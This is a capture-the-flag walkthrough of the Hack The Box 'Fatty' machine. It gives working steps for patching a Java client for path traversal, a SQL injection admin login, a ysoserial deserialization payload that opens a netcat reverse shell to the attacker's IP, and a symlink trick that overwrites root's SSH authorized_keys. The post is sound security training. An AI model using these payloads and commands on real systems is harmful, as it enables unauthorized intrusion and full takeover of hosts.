This is a write-up on the Fatty machine access challenge from HTB. For more information on challenges like these, check out my post on penetration testing.  Special thanks to HTB user qtc for creating the challenge.

Fatty was a advanced challenge covering many different aspects of security and requiring a wide array of technical skills to complete. Those that are easily frustrated may wish to avoid.

Getting Started

This challenge will require executing code locally, so be sure to use a machine that can snapshot back to a healthy state and that is segmented from the rest of the network.

nmap 10.10.10.174

A basic nmap shows FTP and SSH.  Open an ftp connection and log in as anonymous, then download the available files.  The note files reveal a username and password, along with some useful in formation about port numbers and java versions.  

Run the Client

java -jar fatty-client.jar

This will produce an error unless Java 8 (an older version of Java) is used. On Kali Linux, use the commands below to install Java 8 and make it the default running version.

apt-get install openjdk-8-jdk #install java 8
update-alternatives --config java #select java-1.8 as default
java -version #verify java 8 is running

According to the notes, the port used by the client needs to be modified from 8000 to 1337, but the user interface does not provide any options for making the change. Instead, it is necessary to unpack the jar file and make the changes manually. Look for any mentions of the original port number.

jar -xvf fatty-client.jar
find . -type f -exec grep -H 8000 \{\} \;

This returns beans.xml which can be changed to reflect the correct port number and updated in the jar file.  The server address will also need to be changed.

sed -i 's/8000/1337/' beans.xml
sed -i 's/server.fatty.htb/10.10.10.174/' beans.xml
jar uf fatty-client.jar beans.xml

Running the client still fails.  Careful analysis of the error shows that the sha256 digest doesn't match, something which makes sense given the jar file has been modified.  To re-sign the jar, use the extracted certificate found in the jar file: fatty.p12. To use this certificate, a password is necessary.

While browsing contents of the jar, file TrustedFatty.class seems interesting.  Run strings TrustedFatty.class  to obtain the required password secureclarabibi123. Note that this can be systematically enumerated by executing a find command and executing strings piped to a grep for "password" across all files in the jar.

Use the keytool command to obtain the alias name and use that to sign the jar. Client launch and login should now be successful.

keytool -v -list -keystore fatty.p12 (returns alias name = 1)
jarsigner -keystore fatty.p12 fatty-client.jar 1

Alternatively use the shortcut (this will come in handy for the numerous times the client may need to be re-signed):

echo secureclarabibi123 | jarsigner -keystore fatty.p12 fatty-client.jar 1

Gaining a Foothold

Poke around and explore available options in the client.  The filebrowser option seems especially interesting but doesn't seem susceptible to file traversal, and nothing else seems to allow remote code execution. A closer look at the client code may help discover vulnerabilities and circumvent server side security.  Recaf is an excellent tool for viewing and modifying java bytecode.  NOTE: If the default version of Java was changed earlier, make sure to use the latest version when running Recaf.

/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar recaf-2.3.1-J8-jar-with-dependencies.jar

From the file menu, load the jar.  Decompile the Invoker class htb.fatty.client.methods.Invoker and make the following changes.

In function public String showFiles
    Original:
    (this.action = new ActionMessage(this.sessionID, "files")).addArgument(folder); 
    Becomes:
    (this.action = new ActionMessage(this.sessionID, "files")).addArgument(“../”);
     
In function public String open
    Original: 
    (this.action = new ActionMessage(this.sessionID, "open")).addArgument(foldername);
    Becomes:
    (this.action = new ActionMessage(this.sessionID, "open")).addArgument(“../”);

Click CTRL+S to save.  Export the jar from the file menu, re-sign it (see above) and launch again.  

Server side security does a pretty good job at preventing file traversal, but hardcoding one single directory above doesn't seem to get caught. The first change (ShowFiles) will allow the filebrowser to list files one directory above normal, and the second change (open) allows the file to be retrieved.

Retrieve the Server

The filebrowser can now be used to display the contents of /opt/fatty on the server.  Type a filename directly into the open dialog box in order to display.

The start.sh script shows how the server is started and that it is running as the qtc user.  The other important file, fatty-server.jar, appears to be the server component.  Unfortunately retrieving the file fails, as the client is not programmed to deal with binary files.  Modify the open function in the Invoker class one more time.  Using Recaf, comment out the lines below and add the new code just beneath it. Make sure to save, export and re-sign the jar before launching again.

//        String response = "";
//        try {
//            response = this.response.getContentAsString();
//        }
//        catch (Exception e) {
//            response = "Unable to convert byte[] to String. Did you read in a binary file?";
//        }
//        return response;
    
byte [] response = this.response.getContent();
FileOutputStream outputStream = new FileOutputStream("/tmp/fatty-server.jar");
outputStream.write(response);
outputStream.close();
return "file's done";

Additionally at the top of the class, add this line:
    import java.io.FileOutputStream;

These changes will modify the format to binary and also save the file to /tmp/fatty-server.jar on the local computer.  Download the file and examine to find vulnerabilities.

Exploit the Server

Open fatty-server.jar in Recaf and find the function checkLogin in FattyDBSession. Careful examination shows that the server performs no input validation and is vulnerable to SQL injection. This can leveraged to login to the client with administrative access.

Note that the client and server both calculate hashes on the password, but rather than work out the details, it is possible to simply hardcode “password” as the string that gets sent by the client.  As long as it matches the string used for SQL injection, authentication works.

In the fatty-client.jar, modify shared.resources.User class (it may be necessary to remove a few lines that cause compile errors).

Original: this.password = DatatypeConverter.printHexBinary(hash);
Becomes: this.password = "password";

Export the jar, sign it, and launch, then use this text as the username, leaving the password field empty:

abc' union select 666,'foo','[email protected]','password','admin

This tricks the server into logging in as a nonexistent user with the admin role, and makes it possible to run commands previously unavailable in the user interface.  Note that ifconfig from the ServerStatus menu indicates the fatty server may be running on a different network.

A Bit More Exploitation

Further study of the code reveals that most of the admin functions are straightforward, except for changePW, which uses Java serialization. Look at the code below.

String response = "";
String b64User = args.get(0);
byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());
ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);
try {
    ObjectInputStream oIn = new ObjectInputStream(bIn);
    User user2 = (User)oIn.readObject();
    }

Long touted as problematic from a security perspective, the problem with deserialization is the server doesn't know what it has deserialized until its too late.  One of the challenges of exploiting deserialization is that it can be extremely time consuming.  Enter Ysoserial, which automates the generation of payloads which can be used to exploit unsafe Java object deserialization.  Note also from the code above that the server expects the information to be delivered in base64 format.

Note: For more background on Java serialization and exploitation, check out these articles:

Getting User

Download Ysoserial. Generating effective payloads will require that some common libraries are used in the server code.  This can be confirmed by searching for commons/collections (a common option) in fatty-server.jar.  

The client is built to deliver a message that the change password functionality is not yet implemented.  Modify this section in ClientGuiTest so that it actually sends data to the server:

pwChangeButton.addActionListener(new ActionListener(){
    @Override
    public void actionPerformed(ActionEvent e) {
    //JOptionPane.showMessageDialog(passwordChange, "Not implemented yet.", "Error", 0);
    passwordChange.setVisible(false);
    controlPanel.setVisible(true);
    try {
     String response = "";
     response=ClientGuiTest.this.invoker.changePW("user","password");
    }
    catch (MessageBuildException | MessageParseException | IOException e3) {
    }
       }
  });

Next, modify changePW in Invoker:

public String changePW(final String username, final String newPassword) throws MessageParseException, MessageBuildException, IOException {
    final String methodName = new Object() {}.getClass().getEnclosingMethod().getName();
    Invoker.logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");

    String filePath = "/tmp/payload";
    String payload = removeLastCharacter(readLineByLineJava8( filePath ));

    Invoker.logger.logInfo("payload sending '" + payload + "'  - was called by user '" + this.user.getUsername() + "'.");

    this.action = new ActionMessage(this.sessionID, "changePW");
    this.action.addArgument(payload);
    sendAndRecv();
    //if (this.response.hasError()) {
    //return "Error: Your action caused an error on the application server!";
    //}
    Invoker.logger.logInfo ("response message:"  +  this.response.getContentAsString());
    return this.response.getContentAsString();
}

Two helper functions are used in the modified code.  These can be added just above changePW and will assist in loading the payload file so that its not necessary to recompile when experimenting with new payloads.

public String readLineByLineJava8(String filePath) 
{
    StringBuilder contentBuilder = new StringBuilder();

    try (Stream<String> stream = Files.lines( Paths.get(filePath), StandardCharsets.UTF_8)) 
    {
        stream.forEach(s -> contentBuilder.append(s).append("\n"));
    }
    catch (IOException e) 
    {
        e.printStackTrace();
    }

    return contentBuilder.toString();
}

public static String removeLastCharacter(String str) {
   String result = null;
   if ((str != null) && (str.length() > 0)) {
   result = str.substring(0, str.length() - 1);
   }
return result;
}

Next, create the payload with the following command (note that exact version of Java and Ysoserial may be different):

/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc <YOUR IP> 1234 -e /bin/sh' | base64 -w0 > /tmp/payload

Launch a local listener for the reverse shell to connect to:

nc -lnvp 1234

Login to the client and try to change password.  This should cause a reverse shell to open.  To get user.txt, first make the file readable, then use cat to view it.

chmod +r user.txt
cat user.txt

Elevation to Root

Earlier, ifconfig showed that the fatty server might be running on a different network.  This is due to the server running inside a docker and can be confirmed with grep docker /proc/1/cgroup, which will check if docker is listed among the control groups the init process belongs to.

Also noticed earlier was the file logs.tar. It is not an uncommon practice to copy log files from dockers to another place where they can be stored and analyzed, and this provides a clue for a way out of the docker.  

More Enumeration

A great tool for enumeration of processes on Linux is pspy64.  To get the file on the server, download it to the local machine.  For simplicity, and to avoid common terminal issues, create a dummy user with no password and change local sshd configuration to permitempty password = yes. Confirm that remote login works.

From the reverse shell, run commands to download and launch pspy on the fatty docker:

scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no dummy@<YOUR IP>:/home/dummy/pspy64 . 2>&1
chmod 700 pspy64
./pspy64

Watch the processes for a while.  As suspected, logs.tar is copied from the docker every once in a while. Depending on how the copy is performed, it may be possible to leverage symlinks to overwrite key system files on the destination host.

Privesc

Note: It might be helpful to open two reverse shells running simultaneously (on different ports), so that one can be used to monitor the output of pspy while the other is used to enter commands.

Start by creating and testing an SSH keypair with ssh-keygen. Using the scp method above, copy the public key to the fatty server and name the file auth. The following commands will create a file named logs.tar which actually contains a symlink that points to /root/.ssh/authorized_keys. Next time the copy job runs, it will copy the tar file to the destination server which will expand it, execpt that instead of unpacking a log file it will create a symlink  to the authorized_keys file on that host.  Immediately afterwards, overwrite logs.tar with the auth file, and wait for the copy job to run again.  This time, the public ssh key is copied to the destination, but since the destination file is a symlink pointing to root's authorized_keys file, it will overwrite authorized_keys with the contents of the auth file, enabling login as root using the associated private key.

cd /opt/fatty/tar
rm logs.tar
ln -s /root/.ssh/authorized_keys logs.tar
tar cvf foo.tar logs.tar
rm logs.tar
cp foo.tar logs.tar
(wait for copy job)
cp auth logs.tar
(wait for copy job)

On the local server, run ssh -i <private key> [email protected]. This will login as root. Use cat /root/root.txt to reveal the root key.